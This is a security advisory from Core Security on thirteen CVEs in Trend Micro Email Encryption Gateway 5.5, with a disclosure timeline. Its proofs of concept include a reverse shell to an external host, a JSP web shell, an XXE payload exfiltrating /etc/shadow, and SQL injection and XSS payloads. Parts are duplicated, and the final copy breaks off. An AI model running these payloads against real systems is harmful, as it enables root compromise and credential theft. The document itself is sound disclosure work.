Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230 3. The encryption and decryption of email on the TMEEG client is controlled by a Policy Manager that enables an administrator to configure policies based on various parameters, such as sender and recipient email addresses, keywords, or PCI compliance. Encryption for Email Gateway presents itself as an SMTP interface and delivers email out over an SMTP to configured outbound MTAs. We also present two additional vectors to achieve code execution from a man-in-the-middle position. 4. *Vulnerable Packages* . 5. https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. 7. Section 7.4 describes a vulnerability in this console that can be exploited to gain command execution as root. The vulnerable functionality is accessible only to authenticated users, but it is possible to combine 7.4 with the vulnerability presented in section 7.5 to bypass this restriction and therefore execute root commands from the perspective of a remote unauthenticated attacker. The application does also use an insecure update mechanism that allows an attacker in a man-in-the-middle position to write arbitrary files and install arbitrary RPM packages, leading to remote command execution as the root user. Additional Web application vulnerabilities were found, including cross-site request forgery (7.6), XML external entity injection (7.7), several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL injection vulnerabilities (7.11, 7.12, 7.13). 7.1. *Insecure update via HTTP* [CVE-2018-6219] Communication to the update servers is unencrypted. The following URL is fetched when the application checks for updates: /----- [Request #1] http://downloads.privatepost.com/files/TMEEG/updates/data.html -----/ The product expects to retrieve a plain-text file with the following format: /----- [Version Info] [Installation RPM file name] [Path to release notes] -----/ If a new update is found, then the RPM file is downloaded from the following URL: /----- [Request #2] http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM file name] -----/ This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data. 7.2. *Arbitrary file write leading to command execution* [CVE-2018-6220] The following code snippet is responsible for downloading the update file (com/identum/pmg/web/CheckForUpdates.java): /----- FileDownload fd = new FileDownload(); if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" + rpmFileName)) { return 10; } [...] -----/ The rpmFileName variable is controlled by the attacker, as it is taken from the aforementioned update file. As a consequence, the attacker controls the path where the update file is going to be downloaded. The RPM file is written by the root user with 0644 permissions. Being able to write to the file system as root opens the door to several code execution vectors on Linux machines. In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory. The attacker can send the following response to [Request #1]: /----- HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 23 May 2017 14:39:46 GMT Connection: close Content-Length: 26 5.7 ../../../../../../../etc/cron.d/test test.html -----/ As a result, the server will create the file /etc/cron.d/test. Its contents are also controlled by the attacker. When the update launches, the appliance will download it from the following URL: /----- http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test -----/ The attacker can tamper the server's response and inject arbitrary data, such as a reverse shell payload: /----- * * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1 -----/ gaining code execution upon exploitation: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 52171) bash: no job control in this shell [root@ localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t -----/ 7.3. *Unvalidated software updates* [CVE-2018-6221] The update mechanism described in 7.2 does not validate the RPM file downloaded. An attacker in a man-in-the-middle position could tamper with the RPM file and inject its own. The following code snippet is responsible for installing the unvalidated RPM (com/identum/pmg/web/CheckForUpdates.java): /----- try { System.out.println("running file:"); System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName); Process process = Runtime.getRuntime().exec("rpm --upgrade --nodeps /tmp/" + rpmFileName); [..] { -----/ In the following Proof of Concept, we crafted a malicious RPM file that executes a reverse shell once opened. This can be achieved by adding a reverse shell script to %pre section of RPM's SPEC file, which is executed previous to any installation step. As can be seen, this results in code execution as root: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 40445) bash: no job control in this shell [root@ localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:rpm_script_t:SystemLow-SystemHigh -----/ 7.4. *Arbitrary logs location leading to command execution* [CVE-2018-6222] The location of the log files can be changed in the logConfiguration.do page. MimeBuildServer logs are particularly interesting because its contents can be controlled by an attacker. The first step is to point the log file to the Web application root. The following request redirects MimeBuildServer logs to /opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs: /----- POST /logConfiguration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/logConfiguration.do Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback -----/ The second step is to update the MimeBuilder configuration and insert arbitrary JSP code. One candidate is the "Encrypted meeting request email message" form. /----- POST /mimebuilderconfig.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/MimeBuilderConfig.do Content-Type: application/x-www-form-urlencoded Content-Length: 2915 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback -----/ The next time the service components are restarted, the log file will be created with the desired JSP code. With the sample JSP code from the previous request, the attacker would then navigate to pepito.jsp and execute arbitrary commands as root: /----- https://[server]/pepito.jsp?cmd=id Command: id uid=0(root) gid=0(root) context=system_u:system_r:java_t -----/ 7.5. *Missing authentication for appliance registration* [CVE-2018-6223] The registration endpoint is provided for system administrators to configure the virtual appliance upon deployment. However, this endpoint remains accessible without authentication even after the appliance is configured, which would allow attackers to set configuration parameters such as the administrator username and password. The following request changes the administrator password to "sombrero": /----- POST /register.jsp HTTP/1.1 Host: [server] Content-Type: application/x-www-form-urlencoded Content-Length: 414 action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&regEmail=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero -----/ Note that a valid activation code is required. This code can be easily obtained by requesting a trial from Trend Micro's website. 7.6. *Lack of cross-site request forgery protection* [CVE-2018-6224] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. This vulnerability can be chained with 7.4 and lead to remote command execution. It could also be abused to force updates once the attacker is in a man-in-the-middle position to exploit 7.2 or 7.3, which would also lead to remote command execution. The following proof of concept starts the check for updates process. /----- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://[server]/checkForUpdates.do"> <input type="submit" value="Submit request" /> </form> </body> </html> -----/ 7.7. *XML external entity injection in configuration.jsp* [CVE-2018-6225] The pciExceptionXml parameter of the configuration.jsp script is vulnerable to XML external entity injection. The following proof of concept uses external entities to send the /etc/shadow file to an external server. /----- POST /configuration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 938 Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB Connection: close Upgrade-Insecure-Requests: 1 incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f> <!DOCTYPE+roottag+[ +<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow"> +<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd"> %25dtd%3b]> <ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]&gt;&lt;/end>&lt;/pci_exception>&lt;pci_exception+enabled%3d"true">&lt;start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions> -----/ The combine.dtd file is hosted on an external server, and its contents are: /----- <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://external_server:1080/?%file;'>"> %all; $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 49676) root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: bin:*:14089:0:99999:7::: daemon:*:14089:0:99999:7::: adm:*:14089:0:99999:7::: lp:*:14089:0:99999:7::: sync:*:14089:0:99999:7::: shutdown:*:14089:0:99999:7::: halt:*:14089:0:99999:7::: mail:*:14089:0:99999:7::: news:*:14089:0:99999:7::: uucp:*:14089:0:99999:7::: operator:*:14089:0:99999:7::: games:*:14089:0:99999:7::: gopher:*:14089:0:99999:7::: ftp:*:14089:0:99999:7::: nobody:*:14089:0:99999:7::: rpm:!!:14089:0:99999:7::: dbus:!!:14089:0:99999:7::: exim:!!:14089:0:99999:7::: nscd:!!:14089:0:99999:7::: vcsa:!!:14089:0:99999:7::: rpc:!!:14089:0:99999:7::: sshd:!!:14089:0:99999:7::: pcap:!!:14089:0:99999:7::: haldaemon:!!:14089:0:99999:7::: postgres:!!:14090:::::: tomcat:!!:14090:0:99999:7::: xfs:!!:14179:::::: postfix:!!:14194:::::: -----/ These actions require the user to be authenticated within the Web console, so an attacker would need to obtain valid credentials first. Possible vectors to achieve this include exploiting any of the XSS issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF vulnerability described in 7.6. 7.8. *Reflected cross-site scripting in keymanserverconfig.jsp* [CVE-2018-6226] The deniedKeysExpireTimeout and keyAge parameters of the keymanserverconfig.jsp script are vulnerable to cross-site scripting. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback -----/ 7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp* [CVE-2018-6226] The following parameters of the mimebuilderconfig.jsp script are vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, zdMainTemplate, zdMainTemplateZdv4. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E -----/ 7.10. *Stored cross-site scripting in editPolicy.jsp* [CVE-2018-6227] The hidEmails parameter of the editPolicy.jsp script is vulnerable to cross-site scripting. The following request adds a policy for the email address "<script>alert(1)</script>": /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 136 Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1 -----/ The input will be stored unescaped and rendered every time the policies.do script is executed. Excerpt of the policies.do source showing the injected script tag: /----- <tr> <td ondblclick="edit_policy(this);" style="border:solid 1px #AAAAAA;background-color:#F5F5F5;cursor:move;" onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);" onmouseout="mouse_out(this);" onmousemove="mouse_move(this, event);">Don't decrypt messages to <script>alert(1)</script> -----/ 7.11. *SQL injection in policies.jsp* [CVE-2018-6228] The hidEditId parameter of the policies.jsp script is not sanitized, leading to SQL injection. As can be seen in the following excerpt, the script reads a parameter named hidEditId and forwards it to the editPolicy.jsp script if it is not set to -1. From webapps/ROOT/policies.jsp: /----- <% if (request.getParameter("hidEditId") != null) if (request.getParameter("hidEditId").compareTo("-1") != 0) { String hid_edit_id = request.getParameter("hidEditId"); %><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId" value="<%= hid_edit_id %>"/></jsp:forward><% } [...] -----/ The editPolicy.jsp script will pass this parameter without any modification to the loadRuleDetails method, which is defined in the formEditPolicy class From webapps/ROOT/editPolicy.jsp: /----- if (request.getParameter("editRuleId") != null) frm.loadRuleDetails(request.getParameter("editRuleId")); [...] -----/ Finally, the loadRuleDetails method will use the unsanitized parameter it receives to build a dynamic SQL statement as follows: From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean loadRuleDetails(String ruleId) { _databaseError = false; try { _ruleId = ruleId; _ruleResultId = dataStore.getRuleResultId(ruleId); _ruleForId = dataStore.getRuleForId(ruleId); _ruleEmails = dataStore.getRuleAddreses(ruleId); _ruleSubRules = dataStore.getSubRules(ruleId); [...] public String getRuleResultId(String ruleId) throws SQLException { Connection cnn = MySQLClient.GetInstance().GetConnection(); Statement query = cnn.createStatement(); String ruleResultId = ""; ResultSet rs = null; try { rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The contents of ruleId will be appended to the SELECT query, resulting in a SQL injection. The following PoC opens a policy to edit, even though the hidEditId parameter is invalid. Due to the "always true" comparison, the first element is retrieved: /----- POST /policies.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Referer: https://server/editPolicy.jsp Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close Upgrade-Insecure-Requests: 1 action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201 -----/ 7.12. *SQL injection in editPolicy.jsp* [CVE-2018-6229] The hidRuleId parameter of the editPolicy.jsp script is not sanitized, leading to SQL injection in a DELETE statement. The following excerpt shows that the request object is forwarded to the DeletePolicy method implemented in the formEditPolicy class. From webapps/ROOT/editPolicy.jsp: /----- <% if (frm.isPostBack()) { if (request.getParameter("hidDelete").compareTo("YES") == 0) { frm.DeletePolicy(request); } [...] -----/ DeletePolicy reads the hidRuleId parameter and calls deletePolicy with it, without doing any sanitization. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean DeletePolicy(HttpServletRequest request) { String ruleId = request.getParameter("hidRuleId"); boolean success = dataStore.deletePolicy(ruleId); _databaseError = (!success); return success; } -----/ Finally, the JPostgresDataHelper class uses the ruleId parameter to build dynamic SQL statements, as can be seen in the following extract. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper: /----- public boolean deletePolicy(String ruleId) { Connection cnn = null; Statement query = null; boolean bSuccess = true; try { cnn = MySQLClient.GetInstance().GetConnection(); cnn.setAutoCommit(false); query = cnn.createStatement(); query.executeUpdate("DELETE FROM RulesEmailIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The ruleId parameter will be appended as-is to the DELETE statements, resulting in a SQL injection. The following request will cause the RulesEmailIndex, SubRuleIndex, and RulesEngine tables to be truncated: /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 133 Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1 -----/ 7.13. *SQL Injection in emailSearch.jsp* [CVE-2018-6230] The SearchString parameter of the emailSearch.jsp script is not sanitized, leading to a SQL injection. As can be seen in the following excerpt, the emailSearch.jsp script reads a parameter named SearchString and calls the getResults method defined in the wsEmailSearch class. From webapps/ROOT/emailSearch.jsp: /----- if (session.getAttribute("UserName") != null) { response.setContentType("text/xml"); ws.setSearchParam(request.getParameter("SearchString")); java.util.Vector res = ws.getResults(); [...] -----/ The searchParam property is not sanitized before being used to build a dynamic SQL query, resulting in a SQL injection in the SELECT statement. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch: /----- public class wsEmailSearch { private String _searchParam = ""; public void setSearchParam(String searchParam) { _searchParam = searchParam; } public Vector getResults() { Vector res = new Vector(); Connection cnn = MySQLClient.GetInstance().GetConnection(); try { Statement query = cnn.createStatement(); ResultSet rs = query.executeQuery("SELECT address FROM RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY address"); [...] -----/ The following proof of concept will cause all the e-mails on the database to be retrieved: /----- POST /emailSearch.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Referer: https://server/policies.jsp Content-Length: 39 Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close SearchString=' OR '%1%'='%1 -----/ 8. *Report Timeline* 2017-06-05: Core Security sent an initial notification to Trend Micro, including a draft advisory. 2017-06-05: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication. 2017-06-22: Core Security asked for an update on the vulnerability reported. 2017-06-22: Trend Micro answered saying the cases are still being vetted and that they will commit a time when the solution is finalized. 2017-08-28: Core Security asked again for an update on the vulnerability reported. 2017-08-28: Trend Micro answered saying the team is still in the process of creating the official fix for the vulnerabilities, although there is still no official release date. 2017-10-02: Core Security asked again for an update on the vulnerability reported. 2017-10-02: Trend Micro answered saying the team are still finalizing the fix to ensure all vulnerabilities are covered. 2017-11-13: Core Security asked again (4th time) for an ETA for the official fix. We stated we need a release date or a thorough explanation on why after five months there is still no date defined. If there is no such answer we will be forced to publish the advisory. 2017-11-14: Trend Micro answered saying the team is still working on two vulnerabilities and due to the complexity and number of vulnerabilities overall found, their team requires more time. 2018-01-16: Core Security asked again (5th time) for an ETA for the official fix. 2018-01-23: Trend Micro answered proposing the publication date to be February 7th. 2018-01-24: Core Security thanked Trend Micro's answer and asked if all the vulnerabilities reported in the advisory will be addressed. In addition, Core Security asked for CVE-IDs. 2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be addressed and notified Core Security they will send the CVE-IDs when have these assigned. In addition, Trend Micro sent its new PGP key. 2018-01-29: Core Security thanked Trend Micro's confirmation and agreed on the proposed release date. 2018-01-29: Trend Micro answered saying the team found a couple of issues during the QA test. Consequently, Trend Micro asked for additional time to fix the remaining vulnerabilities and required a separated disclosure time. 2018-01-29: Core Security answered its intention to report all the vulnerabilities in just one advisory and asked for a timeline for the fix. 2018-02-01: Core Security asked for an update on the remaining vulnerabilities. 2018-02-02: Trend Micro sent an update and requested a week extension. 2018-02-02: Core Security thanked Trend Micro's update and agreed to postpone the release. 2018-02-14: Trend Micro answered saying the remaining vulnerabilities will not be addressed in the patch due to its complexity; therefore, mitigation steeps will be recommending. Also, Trend Micro proposed February 21 as the release date. 2018-02-14: Core Security thanked Trend Micro's update and agreed on the proposed release date. 2018-02-21: Advisory CORE-2017-0006 published. 9. *References* [1] http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

An Insecure Update via HTTP vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to eavesdrop and tamper with certain types of update data. Successfully exploiting this issue may allow attackers to bypass certain security restrictions and perform unauthorized actions by conducting a man-in-the-middle attack. This may lead to other attacks. *Vulnerability Information* Class: Cleartext Transmission of Sensitive Information [CWE-319], External Control of File Name or Path [CWE-73], Insufficient Verification of Data Authenticity [CWE-345], External Control of File Name or Path [CWE-73], Missing Authentication for Critical Function [CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of XML External Entity Reference [CWE-611], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230 3. The encryption and decryption of email on the TMEEG client is controlled by a Policy Manager that enables an administrator to configure policies based on various parameters, such as sender and recipient email addresses, keywords, or PCI compliance. Encryption for Email Gateway presents itself as an SMTP interface and delivers email out over an SMTP to configured outbound MTAs. We also present two additional vectors to achieve code execution from a man-in-the-middle position. 4. *Vulnerable Packages* . 5. *Vendor Information, Solutions and Workarounds* Trend Micro published the following Security Notes: . https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. 7. Section 7.4 describes a vulnerability in this console that can be exploited to gain command execution as root. The vulnerable functionality is accessible only to authenticated users, but it is possible to 